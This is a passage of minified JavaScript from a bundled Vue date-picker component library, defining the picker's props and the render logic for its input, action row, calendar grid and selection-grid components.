[\"calendar\",\"month-year\"]},{name:\"action-select\",use:[\"action\"]},{name:\"action-preview\",use:[\"action\"]},{name:\"calendar-header\",use:[\"calendar\"]},{name:\"marker-tooltip\",use:[\"calendar\"]},{name:\"now-button\",use:[]},{name:\"time-picker-overlay\",use:[\"calendar\",\"time\"]},{name:\"am-pm-button\",use:[\"calendar\",\"time\"]},{name:\"left-sidebar\",use:[\"menu\"]},{name:\"right-sidebar\",use:[\"menu\"]},{name:\"month-year\",use:[\"month-year\"]},{name:\"time-picker\",use:[\"menu\"]},{name:\"action-row\",use:[\"action\"]}],si=[{name:\"trigger\"},{name:\"input-icon\"},{name:\"clear-icon\"},{name:\"dp-input\"}],ui={all:()=>li,monthYear:()=>li.filter(e=>e.use.includes(\"month-year\")),input:()=>si,timePicker:()=>li.filter(e=>e.use.includes(\"time\")),action:()=>li.filter(e=>e.use.includes(\"action\")),calendar:()=>li.filter(e=>e.use.includes(\"calendar\")),menu:()=>li.filter(e=>e.use.includes(\"menu\"))},di=(e,t,n)=>{const r=[];return ui[t]().forEach(t=>{e[t.name]&&r.push(t.name)}),n&&n.length&&n.forEach(e=>{e.slot&&r.push(e.slot)}),r},ci=e=>({transitionName:(0,r.EW)(()=>t=>e&&\"boolean\"!=typeof e?t?e.open:e.close:\"\"),showTransition:!!e}),fi={multiCalendars:{type:[Boolean,Number,String],default:null},modelValue:{type:[String,Date,Array,Object,Number],default:null},modelType:{type:String,default:null},position:{type:String,default:\"center\"},dark:{type:Boolean,default:!1},format:{type:[String,Function],default:()=>null},closeOnScroll:{type:Boolean,default:!1},autoPosition:{type:Boolean,default:!0},closeOnAutoApply:{type:Boolean,default:!0},teleport:{type:[String,Object],default:\"body\"},altPosition:{type:[Boolean,Function],default:!1},transitions:{type:[Boolean,Object],default:!0},formatLocale:{type:Object,default:null},utc:{type:[Boolean,String],default:!1},ariaLabels:{type:Object,default:()=>({})},offset:{type:[Number,String],default:10},hideNavigation:{type:Array,default:()=>[]},timezone:{type:String,default:null},vertical:{type:Boolean,default:!1},disableMonthYearSelect:{type:Boolean,default:!1},menuClassName:{type:String,default:null},dayClass:{type:Function,default:null},yearRange:{type:Array,default:()=>[1900,2100]},multiCalendarsSolo:{type:Boolean,default:!1},calendarCellClassName:{type:String,default:null},enableTimePicker:{type:Boolean,default:!0},autoApply:{type:Boolean,default:!1},disabledDates:{type:[Array,Function],default:()=>[]},monthNameFormat:{type:String,default:\"short\"},startDate:{type:[Date,String],default:null},startTime:{type:[Object,Array],default:null},monthYearComponent:{type:Object,default:null},timePickerComponent:{type:Object,default:null},actionRowComponent:{type:Object,default:null},hideOffsetDates:{type:Boolean,default:!1},autoRange:{type:[Number,String],default:null},noToday:{type:Boolean,default:!1},disabledWeekDays:{type:Array,default:()=>[]},allowedDates:{type:Array,default:()=>[]},showNowButton:{type:Boolean,default:!1},nowButtonLabel:{type:String,default:\"Now\"},markers:{type:Array,default:()=>[]},modeHeight:{type:[Number,String],default:255},escClose:{type:Boolean,default:!0},spaceConfirm:{type:Boolean,default:!0},monthChangeOnArrows:{type:Boolean,default:!0},presetRanges:{type:Array,default:()=>[]},flow:{type:Array,default:()=>[]},preventMinMaxNavigation:{type:Boolean,default:!1},minRange:{type:[Number,String],default:null},maxRange:{type:[Number,String],default:null},multiDatesLimit:{type:[Number,String],default:null},reverseYears:{type:Boolean,default:!1},keepActionRow:{type:Boolean,default:!1},weekPicker:{type:Boolean,default:!1},filters:{type:Object,default:()=>({})},arrowNavigation:{type:Boolean,default:!1},multiStatic:{type:Boolean,default:!0},disableTimeRangeValidation:{type:Boolean,default:!1},highlight:{type:[Array,Function],default:null},highlightWeekDays:{type:Array,default:null},highlightDisabledDays:{type:Boolean,default:!1},teleportCenter:{type:Boolean,default:!1},locale:{type:String,default:\"en-Us\"},weekNumName:{type:String,default:\"W\"},weekStart:{type:[Number,String],default:1},weekNumbers:{type:Boolean,default:!1},calendarClassName:{type:String,default:null},noSwipe:{type:Boolean,default:!1},monthChangeOnScroll:{type:[Boolean,String],default:!0},dayNames:{type:[Function,Array],default:null},monthPicker:{type:Boolean,default:!1},customProps:{type:Object,default:null},yearPicker:{type:Boolean,default:!1},modelAuto:{type:Boolean,default:!1},selectText:{type:String,default:\"Select\"},cancelText:{type:String,default:\"Cancel\"},previewFormat:{type:[String,Function],default:()=>\"\"},multiDates:{type:Boolean,default:!1},partialRange:{type:Boolean,default:!0},ignoreTimeValidation:{type:Boolean,default:!1},minDate:{type:[Date,String],default:null},maxDate:{type:[Date,String],default:null},minTime:{type:Object,default:null},maxTime:{type:Object,default:null},name:{type:String,default:null},placeholder:{type:String,default:\"\"},hideInputIcon:{type:Boolean,default:!1},clearable:{type:Boolean,default:!0},state:{type:Boolean,default:null},required:{type:Boolean,default:!1},autocomplete:{type:String,default:\"off\"},inputClassName:{type:String,default:null},inlineWithInput:{type:Boolean,default:!1},textInputOptions:{type:Object,default:()=>null},fixedStart:{type:Boolean,default:!1},fixedEnd:{type:Boolean,default:!1},timePicker:{type:Boolean,default:!1},enableSeconds:{type:Boolean,default:!1},is24:{type:Boolean,default:!0},noHoursOverlay:{type:Boolean,default:!1},noMinutesOverlay:{type:Boolean,default:!1},noSecondsOverlay:{type:Boolean,default:!1},hoursGridIncrement:{type:[String,Number],default:1},minutesGridIncrement:{type:[String,Number],default:5},secondsGridIncrement:{type:[String,Number],default:5},hoursIncrement:{type:[Number,String],default:1},minutesIncrement:{type:[Number,String],default:1},secondsIncrement:{type:[Number,String],default:1},range:{type:Boolean,default:!1},uid:{type:String,default:null},disabled:{type:Boolean,default:!1},readonly:{type:Boolean,default:!1},inline:{type:Boolean,default:!1},textInput:{type:Boolean,default:!1},onClickOutside:{type:Function,default:null},noDisabledRange:{type:Boolean,default:!1},sixWeeks:{type:Boolean,default:!1}},pi=[\"aria-label\",\"aria-disabled\",\"aria-readonly\"],hi={key:1,class:\"dp__input_wrap\"},vi=[\"id\",\"name\",\"inputmode\",\"placeholder\",\"disabled\",\"readonly\",\"required\",\"value\",\"autocomplete\",\"onKeydown\"],mi={key:2,class:\"dp__input_icon\"},gi={key:4,class:\"dp__clear_icon\"},yi=(0,r.pM)({__name:\"DatepickerInput\",props:{isMenuOpen:{type:Boolean,default:!1},inputValue:{type:String,default:\"\"},...fi},emits:[\"clear\",\"open\",\"update:input-value\",\"set-input-date\",\"close\",\"select-date\",\"set-empty-date\",\"toggle\",\"focus-prev\",\"focus\",\"blur\"],setup(e,{expose:t,emit:n}){const l=e,{getDefaultPattern:s,isValidDate:u,defaults:d}=Uo(l),c=(0,a.KR)(),f=(0,a.KR)(null),p=(0,a.KR)(!1),h=(0,r.EW)(()=>({dp__pointer:!l.disabled&&!l.readonly&&!l.textInput,dp__disabled:l.disabled,dp__input_readonly:!l.textInput,dp__input:!0,dp__input_icon_pad:!l.hideInputIcon,dp__input_valid:l.state,dp__input_invalid:!1===l.state,dp__input_focus:p.value||l.isMenuOpen,dp__input_reg:!l.textInput,[l.inputClassName]:!!l.inputClassName})),v=()=>{n(\"set-input-date\",null),l.autoApply&&(n(\"set-empty-date\"),c.value=null)},m=e=>{var t;return ga(e,(null==(t=d.value.textInputOptions)?void 0:t.format)||s())},g=e=>{const{rangeSeparator:t}=d.value.textInputOptions,[n,r]=e.split(`${t}`);if(n){const e=m(n.trim()),t=r?m(r.trim()):null,a=e&&t?[e,t]:[e];c.value=e?a:null}},y=e=>{if(l.range)g(e);else if(l.multiDates){const t=e.split(\";\");c.value=t.map(e=>m(e.trim())).filter(e=>e)}else c.value=m(e)},b=e=>{var t;const{value:r}=e.target;\"\"!==r?(null!=(t=d.value.textInputOptions)&&t.openMenu&&!l.isMenuOpen&&n(\"open\"),y(r),n(\"set-input-date\",c.value)):v(),n(\"update:input-value\",r)},$=()=>{var e,t;null!=(e=d.value.textInputOptions)&&e.enterSubmit&&u(c.value)&&\"\"!==l.inputValue?(n(\"set-input-date\",c.value,!0),c.value=null):null!=(t=d.value.textInputOptions)&&t.enterSubmit&&\"\"===l.inputValue&&(c.value=null,n(\"clear\"))},w=()=>{var e,t;null!=(e=d.value.textInputOptions)&&e.tabSubmit&&u(c.value)&&\"\"!==l.inputValue?(n(\"set-input-date\",c.value,!0),c.value=null):null!=(t=d.value.textInputOptions)&&t.tabSubmit&&\"\"===l.inputValue&&(c.value=null,n(\"clear\"))},_=()=>{p.value=!0,n(\"focus\")},k=e=>{var t;e.preventDefault(),e.stopImmediatePropagation(),e.stopPropagation(),l.textInput&&null!=(t=d.value.textInputOptions)&&t.openMenu&&!l.inlineWithInput?l.isMenuOpen?d.value.textInputOptions.enterSubmit&&n(\"select-date\"):n(\"open\"):l.textInput||n(\"toggle\")},C=()=>{p.value=!1,l.isMenuOpen||n(\"blur\"),l.autoApply&&l.textInput&&c.value&&(n(\"set-input-date\",c.value),n(\"select-date\"),c.value=null)},x=()=>{n(\"clear\")},S=e=>{l.textInput||e.preventDefault()};return t({focusInput:()=>{f.value&&f.value.focus({preventScroll:!0})}}),(t,n)=>{var l;return(0,r.uX)(),(0,r.CE)(\"div\",{onClick:k,\"aria-label\":null==(l=(0,a.R1)(d).ariaLabels)?void 0:l.input,role:\"textbox\",\"aria-multiline\":\"false\",\"aria-disabled\":t.disabled,\"aria-readonly\":t.readonly},[!t.$slots.trigger||t.$slots[\"dp-input\"]||t.inline?(0,r.Q3)(\"\",!0):(0,r.RG)(t.$slots,\"trigger\",{key:0}),t.$slots.trigger||t.inline&&!t.inlineWithInput?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"div\",hi,[!t.$slots[\"dp-input\"]||t.$slots.trigger||t.inline?(0,r.Q3)(\"\",!0):(0,r.RG)(t.$slots,\"dp-input\",{key:0,value:e.inputValue,onInput:b,onEnter:$,onTab:w,onClear:x}),t.$slots[\"dp-input\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"input\",{key:1,ref_key:\"inputRef\",ref:f,id:t.uid?`dp-input-${t.uid}`:void 0,name:t.name,class:(0,o.C4)((0,a.R1)(h)),inputmode:t.textInput?\"text\":\"none\",placeholder:t.placeholder,disabled:t.disabled,readonly:t.readonly,required:t.required,value:e.inputValue,autocomplete:t.autocomplete,onInput:b,onKeydown:[(0,i.jR)(k,[\"enter\"]),(0,i.jR)(w,[\"tab\"])],onBlur:C,onFocus:_,onKeypress:S},null,42,vi)),t.$slots[\"input-icon\"]&&!t.hideInputIcon?((0,r.uX)(),(0,r.CE)(\"span\",mi,[(0,r.RG)(t.$slots,\"input-icon\")])):(0,r.Q3)(\"\",!0),t.$slots[\"input-icon\"]||t.hideInputIcon||t.$slots[\"dp-input\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(Mr),{key:3,class:\"dp__input_icon dp__input_icons\"})),t.$slots[\"clear-icon\"]&&e.inputValue&&t.clearable&&!t.disabled&&!t.readonly?((0,r.uX)(),(0,r.CE)(\"span\",gi,[(0,r.RG)(t.$slots,\"clear-icon\",{clear:x})])):(0,r.Q3)(\"\",!0),!t.clearable||t.$slots[\"clear-icon\"]||!e.inputValue||t.disabled||t.readonly?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(Nr),{key:5,class:\"dp__clear_icon dp__input_icons\",\"data-test\":\"clear-icon\",onClick:(0,i.D$)(x,[\"stop\",\"prevent\"])},null,8,[\"onClick\"]))]))],8,pi)}}}),bi={class:\"dp__selection_preview\"},$i={class:\"dp__action_buttons\"},wi=[\"onKeydown\"],_i=(0,r.pM)({__name:\"ActionRow\",props:{calendarWidth:{type:Number,default:0},menuMount:{type:Boolean,default:!1},internalModelValue:{type:[Date,Array],default:null},...fi},emits:[\"close-picker\",\"select-date\",\"invalid-select\"],setup(e,{emit:t}){const n=e,{formatDate:l,isValidTime:s,defaults:u}=Uo(n),{buildMatrix:d}=Zo(),c=(0,a.KR)(null),f=(0,a.KR)(null);(0,r.sV)(()=>{n.arrowNavigation&&d([Oo(c),Oo(f)],\"actionRow\")});const p=(0,r.EW)(()=>!(n.range&&!n.partialRange&&n.internalModelValue)||2===n.internalModelValue.length),h=(0,r.EW)(()=>!m.value||!g.value||!p.value),v=(0,r.EW)(()=>({dp__action:!0,dp__select:!0,dp__action_disabled:h.value})),m=(0,r.EW)(()=>!(n.enableTimePicker&&!n.ignoreTimeValidation)||s(n.internalModelValue)),g=(0,r.EW)(()=>!n.monthPicker||w(n.internalModelValue)),y=()=>{const e=u.value.previewFormat;return n.timePicker||n.monthPicker,e(Wo(n.internalModelValue))},b=()=>{const e=n.internalModelValue;return u.value.multiCalendars>0?`${l(e[0])} - ${l(e[1])}`:[l(e[0]),l(e[1])]},$=(0,r.EW)(()=>n.internalModelValue&&n.menuMount?\"string\"==typeof u.value.previewFormat?Array.isArray(n.internalModelValue)?2===n.internalModelValue.length&&n.internalModelValue[1]?b():n.multiDates?n.internalModelValue.map(e=>`${l(e)}`):n.modelAuto?`${l(n.internalModelValue[0])}`:`${l(n.internalModelValue[0])} -`:l(n.internalModelValue):y():\"\"),w=e=>{if(!n.monthPicker)return!0;let t=!0;return n.minDate&&n.maxDate?Ca(ya(e),ya(n.minDate))&&_a(ya(e),ya(n.maxDate)):(n.minDate&&(t=Ca(ya(e),ya(n.minDate))),n.maxDate&&(t=_a(ya(e),ya(n.maxDate))),t)},_=()=>{m.value&&g.value&&p.value?t(\"select-date\"):t(\"invalid-select\")};return(t,n)=>((0,r.uX)(),(0,r.CE)(\"div\",{class:\"dp__action_row\",style:(0,o.Tr)(e.calendarWidth?{width:`${e.calendarWidth}px`}:{})},[t.$slots[\"action-row\"]?(0,r.RG)(t.$slots,\"action-row\",(0,o._B)((0,r.v6)({key:0},{internalModelValue:e.internalModelValue,disabled:(0,a.R1)(h),selectDate:()=>t.$emit(\"select-date\"),closePicker:()=>t.$emit(\"close-picker\")}))):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.Lk)(\"div\",bi,[t.$slots[\"action-preview\"]?(0,r.RG)(t.$slots,\"action-preview\",{key:0,value:e.internalModelValue}):(0,r.Q3)(\"\",!0),t.$slots[\"action-preview\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[Array.isArray((0,a.R1)($))?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:0},[(0,r.eW)((0,o.v_)((0,a.R1)($)),1)],64)),Array.isArray((0,a.R1)($))?((0,r.uX)(!0),(0,r.CE)(r.FK,{key:1},(0,r.pI)((0,a.R1)($),(e,t)=>((0,r.uX)(),(0,r.CE)(\"div\",{key:t},(0,o.v_)(e),1))),128)):(0,r.Q3)(\"\",!0)],64))]),(0,r.Lk)(\"div\",$i,[t.$slots[\"action-select\"]?(0,r.RG)(t.$slots,\"action-select\",{key:0,value:e.internalModelValue}):(0,r.Q3)(\"\",!0),t.$slots[\"action-select\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[t.inline?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"span\",{key:0,class:\"dp__action dp__cancel\",ref_key:\"cancelButtonRef\",ref:c,tabindex:\"0\",onClick:n[0]||(n[0]=e=>t.$emit(\"close-picker\")),onKeydown:[n[1]||(n[1]=(0,i.jR)(e=>t.$emit(\"close-picker\"),[\"enter\"])),n[2]||(n[2]=(0,i.jR)(e=>t.$emit(\"close-picker\"),[\"space\"]))]},(0,o.v_)(t.cancelText),545)),(0,r.Lk)(\"span\",{class:(0,o.C4)((0,a.R1)(v)),tabindex:\"0\",onKeydown:[(0,i.jR)(_,[\"enter\"]),(0,i.jR)(_,[\"space\"])],onClick:_,\"data-test\":\"select-button\",ref_key:\"selectButtonRef\",ref:f},(0,o.v_)(t.selectText),43,wi)],64))])],64))],4))}}),ki=[\"aria-label\"],Ci={class:\"dp__calendar_header\",role:\"row\"},xi={key:0,class:\"dp__calendar_header_item\",role:\"gridcell\"},Si=(0,r.Lk)(\"div\",{class:\"dp__calendar_header_separator\"},null,-1),Ei=[\"aria-label\"],Ti={key:0,role:\"gridcell\",class:\"dp__calendar_item dp__week_num\"},Ri={class:\"dp__cell_inner\"},Oi=[\"aria-selected\",\"aria-disabled\",\"aria-label\",\"data-test\",\"onClick\",\"onKeydown\",\"onMouseenter\",\"onMouseleave\"],Mi=(0,r.Lk)(\"div\",{class:\"dp__arrow_bottom_tp\"},null,-1),Ai=(0,r.pM)({__name:\"Calendar\",props:{mappedDates:{type:Array,default:()=>[]},getWeekNum:{type:Function,default:()=>\"\"},specificMode:{type:Boolean,default:!1},instance:{type:Number,default:0},month:{type:Number,default:0},year:{type:Number,default:0},...fi},emits:[\"select-date\",\"set-hover-date\",\"handle-scroll\",\"mount\",\"handle-swipe\",\"handle-space\",\"tooltip-open\",\"tooltip-close\"],setup(e,{expose:t,emit:n}){const l=e,{buildMultiLevelMatrix:s}=Zo(),{setDateMonthOrYear:u,defaults:d}=Uo(l),c=(0,a.KR)(null),f=(0,a.KR)({bottom:\"\",left:\"\",transform:\"\"}),p=(0,a.KR)([]),h=(0,a.KR)(null),v=(0,a.KR)(!0),m=(0,a.KR)(\"\"),g=(0,a.KR)({startX:0,endX:0,startY:0,endY:0}),y=(0,r.EW)(()=>l.dayNames?Array.isArray(l.dayNames)?l.dayNames:l.dayNames(l.locale,+l.weekStart):So(l.locale,+l.weekStart));(0,r.sV)(()=>{n(\"mount\",{cmp:\"calendar\",refs:p}),l.noSwipe||h.value&&(h.value.addEventListener(\"touchstart\",R,{passive:!1}),h.value.addEventListener(\"touchend\",O,{passive:!1}),h.value.addEventListener(\"touchmove\",M,{passive:!1})),l.monthChangeOnScroll&&h.value&&h.value.addEventListener(\"wheel\",W,{passive:!1})});const b=e=>e?l.vertical?\"vNext\":\"next\":l.vertical?\"vPrevious\":\"previous\",$=(e,t)=>{if(l.transitions){const n=$a(u(ya(),l.month,l.year));m.value=Ca($a(u(ya(),e,t)),n)?d.value.transitions[b(!0)]:d.value.transitions[b(!1)],v.value=!1,(0,r.dY)(()=>{v.value=!0})}},w=(0,r.EW)(()=>({dp__calendar_wrap:!0,[l.calendarClassName]:!!l.calendarClassName})),_=(0,r.EW)(()=>e=>{const t=Mo(e);return{dp__marker_dot:\"dot\"===t.type,dp__marker_line:\"line\"===t.type}}),k=(0,r.EW)(()=>e=>ka(e,c.value)),C=(0,r.EW)(()=>({dp__calendar:!0,dp__calendar_next:d.value.multiCalendars>0&&0!==l.instance})),x=(0,r.EW)(()=>e=>!l.hideOffsetDates||e.current),S=(0,r.EW)(()=>l.specificMode?{height:`${l.modeHeight}px`}:void 0),E=(e,t,r)=>{var a,o;if(n(\"set-hover-date\",e),null!=(o=null==(a=e.marker)?void 0:a.tooltip)&&o.length){const a=Oo(p.value[t][r]);if(a){const{width:t,height:r}=a.getBoundingClientRect();f.value={bottom:`${r}px`,left:t\u002F2+\"px\",transform:\"translateX(-50%)\"},c.value=e.value,n(\"tooltip-open\",e.value)}}},T=e=>{c.value&&(c.value=null,n(\"tooltip-close\",e.value))},R=e=>{g.value.startX=e.changedTouches[0].screenX,g.value.startY=e.changedTouches[0].screenY},O=e=>{g.value.endX=e.changedTouches[0].screenX,g.value.endY=e.changedTouches[0].screenY,A()},M=e=>{l.vertical&&!l.inline&&e.preventDefault()},A=()=>{const e=l.vertical?\"Y\":\"X\";Math.abs(g.value[`start${e}`]-g.value[`end${e}`])>10&&n(\"handle-swipe\",g.value[`start${e}`]>g.value[`end${e}`]?\"right\":\"left\")},D=(e,t,n)=>{e&&(Array.isArray(p.value[t])?p.value[t][n]=e:p.value[t]=[e]),l.arrowNavigation&&s(p.value,\"calendar\")},W=e=>{l.monthChangeOnScroll&&(e.preventDefault(),n(\"handle-scroll\",e))};return t({triggerTransition:$}),(t,n)=>{var l;return(0,r.uX)(),(0,r.CE)(\"div\",{class:(0,o.C4)((0,a.R1)(C))},[(0,r.Lk)(\"div\",{style:(0,o.Tr)((0,a.R1)(S))},[e.specificMode?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"div\",{key:0,ref_key:\"calendarWrapRef\",ref:h,class:(0,o.C4)((0,a.R1)(w)),role:\"grid\",\"aria-label\":null==(l=(0,a.R1)(d).ariaLabels)?void 0:l.calendarWrap},[(0,r.Lk)(\"div\",Ci,[t.weekNumbers?((0,r.uX)(),(0,r.CE)(\"div\",xi,(0,o.v_)(t.weekNumName),1)):(0,r.Q3)(\"\",!0),((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)((0,a.R1)(y),(e,n)=>((0,r.uX)(),(0,r.CE)(\"div\",{class:\"dp__calendar_header_item\",role:\"gridcell\",key:n,\"data-test\":\"calendar-header\"},[t.$slots[\"calendar-header\"]?(0,r.RG)(t.$slots,\"calendar-header\",{key:0,day:e,index:n}):(0,r.Q3)(\"\",!0),t.$slots[\"calendar-header\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)(e),1)],64))]))),128))]),Si,(0,r.bF)(i.eB,{name:m.value,css:!!t.transitions},{default:(0,r.k6)(()=>{var l;return[v.value?((0,r.uX)(),(0,r.CE)(\"div\",{key:0,class:\"dp__calendar\",role:\"grid\",\"aria-label\":null==(l=(0,a.R1)(d).ariaLabels)?void 0:l.calendarDays},[((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)(e.mappedDates,(l,s)=>((0,r.uX)(),(0,r.CE)(\"div\",{class:\"dp__calendar_row\",role:\"row\",key:s},[t.weekNumbers?((0,r.uX)(),(0,r.CE)(\"div\",Ti,[(0,r.Lk)(\"div\",Ri,(0,o.v_)(e.getWeekNum(l.days)),1)])):(0,r.Q3)(\"\",!0),((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)(l.days,(e,l)=>{var u,c,p;return(0,r.uX)(),(0,r.CE)(\"div\",{role:\"gridcell\",class:\"dp__calendar_item\",ref_for:!0,ref:e=>D(e,s,l),key:l+s,\"aria-selected\":e.classData.dp__active_date||e.classData.dp__range_start||e.classData.dp__range_start,\"aria-disabled\":e.classData.dp__cell_disabled,\"aria-label\":null==(c=null==(u=(0,a.R1)(d).ariaLabels)?void 0:u.day)?void 0:c.call(u,e),tabindex:\"0\",\"data-test\":e.value,onClick:(0,i.D$)(n=>t.$emit(\"select-date\",e),[\"stop\",\"prevent\"]),onKeydown:[(0,i.jR)(n=>t.$emit(\"select-date\",e),[\"enter\"]),(0,i.jR)(n=>t.$emit(\"handle-space\",e),[\"space\"])],onMouseenter:t=>E(e,s,l),onMouseleave:t=>T(e)},[(0,r.Lk)(\"div\",{class:(0,o.C4)([\"dp__cell_inner\",e.classData])},[t.$slots.day&&(0,a.R1)(x)(e)?(0,r.RG)(t.$slots,\"day\",{key:0,day:+e.text,date:e.value}):(0,r.Q3)(\"\",!0),t.$slots.day?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)(e.text),1)],64)),e.marker&&(0,a.R1)(x)(e)?((0,r.uX)(),(0,r.CE)(\"div\",{key:2,class:(0,o.C4)((0,a.R1)(_)(e.marker)),style:(0,o.Tr)(e.marker.color?{backgroundColor:e.marker.color}:{})},null,6)):(0,r.Q3)(\"\",!0),(0,a.R1)(k)(e.value)?((0,r.uX)(),(0,r.CE)(\"div\",{key:3,class:\"dp__marker_tooltip\",style:(0,o.Tr)(f.value)},[null!=(p=e.marker)&&p.tooltip?((0,r.uX)(),(0,r.CE)(\"div\",{key:0,class:\"dp__tooltip_content\",onClick:n[0]||(n[0]=(0,i.D$)(()=>{},[\"stop\"]))},[((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)(e.marker.tooltip,(n,a)=>((0,r.uX)(),(0,r.CE)(\"div\",{key:a,class:\"dp__tooltip_text\"},[t.$slots[\"marker-tooltip\"]?(0,r.RG)(t.$slots,\"marker-tooltip\",{key:0,tooltip:n,day:e.value}):(0,r.Q3)(\"\",!0),t.$slots[\"marker-tooltip\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.Lk)(\"div\",{class:\"dp__tooltip_mark\",style:(0,o.Tr)(n.color?{backgroundColor:n.color}:{})},null,4),(0,r.Lk)(\"div\",null,(0,o.v_)(n.text),1)],64))]))),128)),Mi])):(0,r.Q3)(\"\",!0)],4)):(0,r.Q3)(\"\",!0)],2)],40,Oi)}),128))]))),128))],8,Ei)):(0,r.Q3)(\"\",!0)]}),_:3},8,[\"name\",\"css\"])],10,ki))],4)],2)}}}),Di=[\"aria-label\",\"aria-disabled\"],Wi=(0,r.pM)({__name:\"ActionIcon\",props:{ariaLabel:{type:String,default:\"\"},disabled:{type:Boolean,default:!1}},emits:[\"activate\",\"set-ref\"],setup(e,{emit:t}){const n=(0,a.KR)(null);return(0,r.sV)(()=>t(\"set-ref\",n)),(t,a)=>((0,r.uX)(),(0,r.CE)(\"div\",{class:\"dp__month_year_col_nav\",onClick:a[0]||(a[0]=e=>t.$emit(\"activate\")),onKeydown:[a[1]||(a[1]=(0,i.jR)(e=>t.$emit(\"activate\"),[\"enter\"])),a[2]||(a[2]=(0,i.jR)(e=>t.$emit(\"activate\"),[\"space\"]))],tabindex:\"0\",role:\"button\",\"aria-label\":e.ariaLabel,\"aria-disabled\":e.disabled,ref_key:\"elRef\",ref:n},[(0,r.Lk)(\"div\",{class:(0,o.C4)([\"dp__inner_nav\",{dp__inner_nav_disabled:e.disabled}])},[(0,r.RG)(t.$slots,\"default\")],2)],40,Di))}}),Bi=[\"onKeydown\"],Pi={class:\"dp__selection_grid_header\"},Ii=[\"aria-selected\",\"aria-disabled\",\"data-test\",\"onClick\",\"onKeydown\",\"onMouseover\"],Ni=[\"aria-label\",\"onKeydown\"],Li=(0,r.pM)({__name:\"SelectionGrid\",props:{items:{type:Array,default:()=>[]},modelValue:{type:[String,Number],default:null},multiModelValue:{type:Array,default:()=>[]},disabledValues:{type:Array,default:()=>[]},minValue:{type:[Number,String],default:null},maxValue:{type:[Number,String],default:null},year:{type:Number,default:0},skipActive:{type:Boolean,default:!1},headerRefs:{type:Array,default:()=>[]},skipButtonRef:{type:Boolean,default:!1},monthPicker:{type:Boolean,default:!1},yearPicker:{type:Boolean,default:!1},escClose:{type:Boolean,default:!0},type:{type:String,default:null},arrowNavigation:{type:Boolean,default:!1},autoApply:{type:Boolean,default:!1},textInput:{type:Boolean,default:!1},ariaLabels:{type:Object,default:()=>({})},hideNavigation:{type:Array,default:()=>[]}},emits:[\"update:model-value\",\"selected\",\"toggle\",\"reset-flow\"],setup(e,{expose:t,emit:n}){const l=e,{setSelectionGrid:s,buildMultiLevelMatrix:u,setMonthPicker:d}=Zo(),{hideNavigationButtons:c}=Uo(l),f=(0,a.KR)(!1),p=(0,a.KR)(null),h=(0,a.KR)(null),v=(0,a.KR)([]),m=(0,a.KR)(),g=(0,a.KR)(null),y=(0,a.KR)(0),b=(0,a.KR)(null);(0,r.Ic)(()=>{p.value=null}),(0,r.sV)(()=>{(0,r.dY)().then(()=>R()),w(),$(!0)}),(0,r.hi)(()=>$(!1));const $=e=>{var t;l.arrowNavigation&&(null!=(t=l.headerRefs)&&t.length?d(e):s(e))},w=()=>{const e=Oo(h);e&&(l.textInput||e.focus({preventScroll:!0}),f.value=e.clientHeight\u003Ce.scrollHeight)},_=(0,r.EW)(()=>({dp__overlay:!0})),k=(0,r.EW)(()=>({dp__overlay_col:!0})),C=e=>!l.skipActive&&e.value===l.modelValue,x=(0,r.EW)(()=>l.items.map(e=>e.filter(e=>e).map(e=>{var t,n,r;const a=l.disabledValues.some(t=>t===e.value)||T(e.value),o=null!=(t=l.multiModelValue)&&t.length?null==(n=l.multiModelValue)?void 0:n.some(t=>ka(t,rr(l.monthPicker?nr(new Date,e.value):new Date,l.monthPicker?l.year:e.value))):C(e);return{...e,className:{dp__overlay_cell_active:o,dp__overlay_cell:!o,dp__overlay_cell_disabled:a,dp__overlay_cell_active_disabled:a&&o,dp__overlay_cell_pad:!0,dp__cell_in_between:!(null==(r=l.multiModelValue)||!r.length)&&M(e.value)}}}))),S=(0,r.EW)(()=>({dp__button:!0,dp__overlay_action:!0,dp__over_action_scroll:f.value,dp__button_bottom:l.autoApply})),E=(0,r.EW)(()=>{var e,t;return{dp__overlay_container:!0,dp__container_flex:(null==(e=l.items)?void 0:e.length)\u003C=6,dp__container_block:(null==(t=l.items)?void 0:t.length)>6}}),T=e=>{const t=l.maxValue||0===l.maxValue,n=l.minValue||0===l.minValue;return!(!t&&!n)&&(t&&n?+e>+l.maxValue||+e\u003C+l.minValue:t?+e>+l.maxValue:!!n&&+e\u003C+l.minValue)},R=()=>{const e=Oo(p),t=Oo(h),n=Oo(g),r=Oo(b),a=n?n.getBoundingClientRect().height:0;t&&(y.value=t.getBoundingClientRect().height-a),e&&r&&(r.scrollTop=e.offsetTop-r.offsetTop-(y.value\u002F2-e.getBoundingClientRect().height)-a)},O=e=>{!l.disabledValues.some(t=>t===e)&&!T(e)&&(n(\"update:model-value\",e),n(\"selected\"))},M=e=>{const t=l.monthPicker?l.year:e;return xa(l.multiModelValue,rr(l.monthPicker?nr(new Date,m.value||0):new Date,l.monthPicker?t:m.value||t),rr(l.monthPicker?nr(new Date,e):new 